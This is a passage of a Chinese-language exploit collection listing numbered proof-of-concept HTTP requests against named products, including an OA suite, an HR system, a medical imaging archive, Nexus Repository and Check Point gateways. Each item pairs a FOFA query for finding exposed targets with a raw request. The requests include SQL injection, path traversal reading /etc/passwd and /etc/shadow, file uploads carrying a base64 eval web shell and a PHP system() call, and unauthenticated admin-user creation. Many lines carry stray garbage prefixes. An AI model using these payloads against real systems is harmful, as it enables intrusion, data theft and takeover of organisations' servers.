! |0 d1 u  b2 ^% w. A( i9 WContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 G& X( r2 J/ G2 R" HAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
! W1 X2 G* ?1 c
------WebKitFormBoundary1imovELzPsfzp5dN
5 Z4 [6 c. n& ~+ [Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
5 k4 m" i) D+ G$ _. C, jContent-Disposition: form-data; name="key"
! H3 I- d) ?3 |) f
4 v2 T# v7 T0 e4 K) `; inull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
; ?6 E  b/ v; N7 a! \) Q------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

5 t0 |+ N' D3 Y0 E* w# G3 Snull
2 z+ Z1 K/ r% s: S; T' z0 J------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

null
9 W. X; k5 W) i3 s2 ]------WebKitFormBoundary1imovELzPsfzp5dN
4 _9 @% ?; M% a; P- f, c+ cContent-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
* y3 B- |4 `( J- F2 y; t+ V8 X% C/ f. x

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

( a  [& n) T& D158. Mura-CMS-processAsyncObject存在SQL注入
6 f2 q1 i! E: ?) G) D  }CVE-2024-32640
, z% {" M, k( U6 d4 ^/ B" D) y- ?FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
7 D, o3 @, y9 r4 L5 [) [' O6 \% pContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
  u  b! U9 P6 b# b4 U! [
' b0 g8 I3 t+ e& n3 I: {' B, A+ A5 M
0 A6 a! a( B; W5 {3 a159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
, z/ a* {9 r/ @# V# ~- S6 X4 rFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
/ S# U+ K0 w* T( C. O% nPOST /webservices/WebJobUpload.asmx HTTP/1.1
+ Z4 T% p6 \' [. F/ A- IHost: x.x.x.x
3 v% A$ ^& _; o6 t8 b, x3 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 q. w! S$ q0 R: g, dContent-Length: 1080
Accept-Encoding: gzip, deflate
. [5 M+ G2 |( t" z* u1 v  N7 C& NConnection: close
# o1 _+ v) o, q+ T0 |Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
; g; w6 s. d( R! w( V4 Y
% Y6 j3 p$ C; [& x2 A3 n<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
$ J2 W! ]( o# t& q* I) }% Y<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
7 D$ p6 I3 Y5 z: m2 a<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
$ A' o* r! w% [5 Q/ B# p<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
$ I: \- d% a/ s2 p</jobUpload>
! W% ]. R1 b+ M( C$ r</soap:Body>
</soap:Envelope>

% c5 Y% _1 O- z
. a0 @$ O4 y7 o9 Q' o  u0 P4 I" z/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
; R2 R7 H$ K/ e% @
' k4 J& a+ e9 A! Y
! A. n6 @7 N- C9 n' b: a) g, e160. Sonatype Nexus Repository 3目录遍历与文件读取
# K* t+ o" y# s. p; G, C- aCVE-2024-4956
% Y5 ^% R0 I' ?1 W2 A0 vFOFA：title="Nexus Repository Manager"
2 U$ M4 ?* S- D2 j2 FGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
/ u% ]! D# |; z* h6 z" U! sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
; w- S9 ?+ v. \/ M, T1 ~Accept-Encoding: gzip
0 h" d* G% C! m4 G& O5 w
( ?7 N# ?6 _2 s3 F; Z
( H. A' A9 X( ~- R& K4 T161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
- \3 K9 {6 r# Q# y1 [2 M5 I4 c1 @第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
, B4 X& g# A6 b0 ]' k* BContent-Type: text/xml
Accept-Encoding: gzip
6 W8 _8 D& C' s) ~. h6 i! V5 u
$ ~2 q) F, G; \6 c& A<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
( ^* }) u2 P; t9 [- y/ C# X<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
8 K* T6 m, F1 y5 ?% t- B& r<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
/ u5 X9 H+ D+ N6 w2 M<tag>3</tag>
% L2 f/ Q, o$ W% W</UploadResume>
: Z* l$ k6 u0 H# z, P& \9 @8 U</soap:Body>
</soap:Envelope>
8 ?" W  W3 A) p, W5 Q! ^6 J8 \

+ m; j5 E; K, G6 F% n" l1 y) q+ w/ M, ohttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
! R5 G4 k4 Y  W! I1 N- g4 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
9 g& \. W1 R" S" M5 {) z, F/ X8 vContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
) f' c# b7 L" e! X2 EAccept-Encoding: gzip

* }( I8 Q/ L! e: l% y------WebKitFormBoundaryeegvclmyurlotuey
% n2 w7 e$ h4 H% w8 E; \1 UContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
8 R- a1 Z' X) \, \! i0 F; R
8 b6 R& [4 ^- v7 r: p- ?) n/ i3 [5 l<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
: ]$ ~( _! o4 r( Y! s- r$ W) U% JContent-Disposition: form-data; name="action"
, C# |, n# }% h
- p6 ^1 r3 a4 |upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
4 J+ ]2 e& l9 I$ K' W8 c
/opt/resources
1 U# x% O' m: z  f3 U2 L------WebKitFormBoundaryeegvclmyurlotuey--

: [* h- V2 u$ g- W; {; @5 @, y
5 n  |1 W' p  ?; X9 [4 |* d* ]http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
" U$ O- h! L0 B8 X# G8 R. vConnection: close
$ N) `6 f/ i6 m3 g; ~6 O  gContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
9 R$ M/ C: [/ L0 v5 z4 N& b8 a% {Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

6 Q5 c+ |: u1 G------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

4 @1 g! V+ P% p( A) @0 K1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
) ?1 _3 A" l: n; J. L" T1 x------iiqvnofupvhdyrcoqyuujyetjvqgocod--
; C8 D. Z# M' U2 [

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
$ L' H0 j  Q4 C# m, tContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
# N$ w, E8 b- h6 _4 C/ X0 V9 u( DConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
$ Z9 X# V  P' Q& D4 d- o: ZAccept-Encoding: gzip

7 q  c' `4 h" T  k# i- y% g2 Y------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
2 l* U3 C, s6 x* C9 hContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
3 O. @* ~7 T$ \9 U------dqdaieopnozbkapjacdbdthlvtlyl--

4 t0 W8 D& t' \; Z6 {
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

( @7 p; P8 o8 J6 j; [$ X* {- |# |4 v165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
" B/ F/ V! m. x8 S* OURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
" F, T0 V* J. [; u. A& X5 z

) `, k$ T7 H' J6 j166. 中成科信票务管理平台SeatMapHandler SQL注入
3 O* E5 I  J% I2 H% B+ \4 r$ ]1 TFOFA：body="技术支持：北京中成科信科技发展有限公司"
- L0 F" h* ?1 _" ]; fPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
3 R% e' i. e" w% l7 B7 v3 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" `1 c- \2 p1 t5 g$ {6 BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
  V% P0 o5 I5 b1 {7 J7 b( ~* iConnection: close
' d) p: F! V. N1 c/ rContent-Type: application/x-www-form-urlencoded
Content-Length: 89
2 S8 |& X$ P8 o. H# O' g6 @
% v8 q, E% z$ n; V% e, FMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
2 Q6 M# X# N( WFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
1 K2 d# T5 ~3 v" Y7 L
0 M, @+ z+ j% s! [. _
  E* _) Q& w# E. }0 v( T168. 宏景EHR OutputCode 任意文件读取
4 o. k+ ]( e9 n, j, p8 g6 c* Q3 sFOFA：app="HJSOFT-HCM"
! s7 H2 I# N" ?GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
3 E+ m- V3 \; `" N: P6 ^1 VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
& Y0 E  D1 i9 k: h2 d# Y: I% iContent-Type: application/x-www-form-urlencoded
Connection: close
/ i6 A3 S; l2 Y1 @  F- f


$ j# r& F+ O/ p) D3 Q; S3 b169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
% O2 ?  C6 C- P( X) l( b1 EGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
" r0 _/ f$ Y& kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
2 U6 v+ b. K0 OAccept-Encoding: gzip, deflate
Connection: close


6 ?8 e1 e' ^3 T) d" z* h& K
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
% {$ _# m/ S. j9 c8 Z- Y# ^2 B! tPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
, @0 ^9 y$ R  N- d; x/ rHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 G/ n! ~% p: P: Q' IContent-Type: application/x-www-form-urlencoded
+ s2 H- J! @3 ~$ f8 N
9 \) e. n5 s3 u! \7 d$ v0 L1 ]filename=../webapps/ROOT/WEB-INF/web.xml
/ y. L# O  u0 O# t1 p. C

171. 通天星CMSV6车载定位监控平台 SQL注入
% ]$ Y7 B0 w$ ^/ V; B( _- }FOFA：body="/808gps/"
0 c- U) p, ]" M$ F  w. q6 t" _GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
  i$ c3 u/ q9 G5 z' O: \8 S5 jHost: your-ip
8 h! y1 V; p% A5 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
- J9 l5 `$ u# Z) L+ SAccept: */*
" e) k; F9 a; v5 `$ n0 U; IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! k+ ~9 k; c/ z0 GConnection: close
5 M2 {) X  F- c% z$ K2 c. [2 u0 e

# Z( W3 |; I6 S  B0 `& I4 h8 y
) N1 C/ {% M) L: d172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
' x( l# @/ g6 X* w: j1 Q) jHost: your-ip
* |# W% e1 E! c1 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 y6 |" L4 x- j/ O6 gAccept-Encoding: gzip, deflate
Accept: */*
) X1 J; B# ^# y8 |0 D2 x6 Y) p0 BConnection: keep-alive
0 C3 R1 e. b; O/ b  d4 N- `  D1 c
* S* }+ k" b# J9 t: ^6 M" y
* r5 \  E' Q0 l2 ?
5 K  `. _4 ^2 E% p1 }" D8 _173. Check Point 安全网关任意文件读取
- z  E: U2 R* G7 ]  V2 o7 }8 s, eCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
! G# i2 _. ^, APOST /clients/MyCRL HTTP/1.1
Host: your-ip
+ M7 E8 f% L: y8 ~" H; BContent-Type: application/x-www-form-urlencoded
# I" t( @5 ^' A- u# E) e
7 H2 w3 p: }; V" s$ b) }0 g! q" iaCSHELL/../../../../../../../etc/shadow
% g  ]; i: Z+ E! Z& Q1 x: y: S
) h8 @$ ]& ^% I4 I3 m8 a
, W2 Y' p+ [& c5 {) l2 M7 k% B* C
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
: k8 A; [' B- G& GGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, O: N; K5 e& TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. [$ R8 ]; v$ i7 \8 NAccept-Language: zh-CN,zh;q=0.9
* ?! }% f+ n9 z0 q5 \& UConnection: close
% f9 R- G- d1 t0 V; ~$ G
& M. q5 c# Q& v3 C+ J
: v, y2 o3 m$ ^$ j
- m9 `0 o% K/ ]  y5 w3 [8 u175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
; K5 i* P# E6 n8 H: N6 K8 o7 NFOFA：app="金和网络-金和OA"
4 P: \2 Z! Q& I. p' F' MGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
! M" r$ O5 F* w0 g! ^4 J+ |0 u& k: sHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 C0 m' ^- M& H% a- LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
! [' h' x+ |/ j) p7 x8 CUpgrade-Insecure-Requests: 1

" q/ U( Y- G4 ]! A  n) g$ k
" k- d; Y8 O' M176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
$ l! @' t3 [( _) p1 \& R) @# _POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
7 B! {; v- c% i+ e- ]( WContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
, q+ B& }  t; Z; ^6 f* b; y* aConnection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
5 B: T; h0 C, E2 ?Content-Type: image/png
$ c+ E7 p1 Z1 v9 C* S
; R# [$ `( Z  S( i% n<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
" k4 `- K) j# x2 Y6 _Content-Disposition: form-data; name="uploadtime"
3 B  K9 ]0 R6 l, R4 O0 S1 K1 F
* B- R: t/ X- a* [5 G  N3 u
( l/ n, E! O% I( ^------WebKitFormBoundaryOKldnDPT--

1 y& }* e5 R# P, A, K' a& u! g
) y) X- ?+ B1 f1 `$ W# u
& w& u& C1 l- H/ I1 V+ }- C1 K( f! P177. H3C路由器敏感信息泄露
; N& _5 n% T7 ]. y/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
% X6 K, |: H0 v. h* m/userLogin.asp/../actionpolicy_status/../M60.cfg
" o6 E* ?( p+ m& I1 c$ r2 ]9 ~/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
' C3 _" T% Y9 k0 U( v) s1 x3 M/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
5 I& O9 ^9 {6 u) t* C' y" h/userLogin.asp/../actionpolicy_status/../ER5100.cfg
: x; P! h, H/ ^* o# v/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
: k8 j- A6 x( \/ z$ ?7 ^: G/userLogin.asp/../actionpolicy_status/../ER3260.cfg
* B6 i. r( I+ i3 I) A( ^/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
7 }. T- e) y  J0 Q6 \/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
' ]& M: Z$ k, h: M; U/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
6 Q. K7 o: G' W1 t( u/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


! q9 n; m$ J$ [7 x: g+ d$ F6 H178. H3C校园网自助服务系统-flexfileupload-任意文件上传
& }) z! y' q% u/ U: e% L; V8 ]FOFA：header="/selfservice"
" @+ {) e7 n% R5 J8 s" Q. mPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 n; w2 T: k  s, x* i: {9 B1 V' c4 nContent-Length: 252
Accept-Encoding: gzip, deflate
8 G6 r( K( |8 W5 e, aConnection: close
! \. X3 n6 ^9 j* u( Q5 l0 p. RContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

12234
1 g. L8 B8 v) }-----------------aqutkea7vvanpqy3rh2l--
: m% K6 g2 r# w2 q
& C8 p+ F# c& X
GET /imc/primepush/%2e%2e/flex/12234.txt
" f- Q, c' ~  j

179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
# V# I3 @  P# `% b8 T1 wHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
6 C6 P( x8 p/ }4 H& p/ h* {User-Agent: Mozilla/5.0

path=../log4net.config&Name=


/ s+ K6 d# @1 `5 z1 N180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
; o: A% @& F3 eGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
" q* I: Z- X% E% uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 A2 G* |# Z4 rAccept-Language: zh-CN,zh;q=0.9
' B2 G+ o( j) I" j( O9 F) yConnection: close
, Z# f% z# e* @/ Z
' F# N# T* {( H& M0 Q% }9 X- L
6 W; N! n& n$ g7 V" K" _181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
4 A. f. e. r3 Z# P4 m+ Y5 YFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
0 U" G- {" \0 ^( Y7 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  j7 m& z. a6 PAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ v4 C' r6 f% LConnection: close
Content-Type: application/x-www-form-urlencoded

% A  c$ E8 Q% }3 ~
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
7 u2 K  k7 `- m# m6 G6 x8 Q
/ M/ r# K. Y" d3 I
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
- O5 W  n& T* w" q/ v  o( ]6 aPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 V* ?2 O; l  d. ~Content-Type: application/x-www-form-urlencoded
# A3 ^1 V, V- K9 ?8 p  T/ e
( |- t* g3 S5 j2 T$ u* [
username=test1234&pwd=test1234&savedays=1
- p; E* h% f0 E6 [

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
0 G. ?* u1 Y1 ?; FFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
) k: J* v1 E# h$ \8 `. MAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

3 Q$ A. V$ Y' e0 F2 _
* X2 c; t9 @& G6 [* v3 q! M184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
, |6 t, }, K) S: H& D( pFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
; ?* H, D# ~9 W- w0 i6 sAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
  Z. ^6 T- @  e4 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ l( d" |- r4 o2 o3 qX-Requested-With: XMLHttpRequest

' D$ v0 i9 s& u1 {' Z6 c
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
4 R8 U) H# r$ F8 j5 ?  f

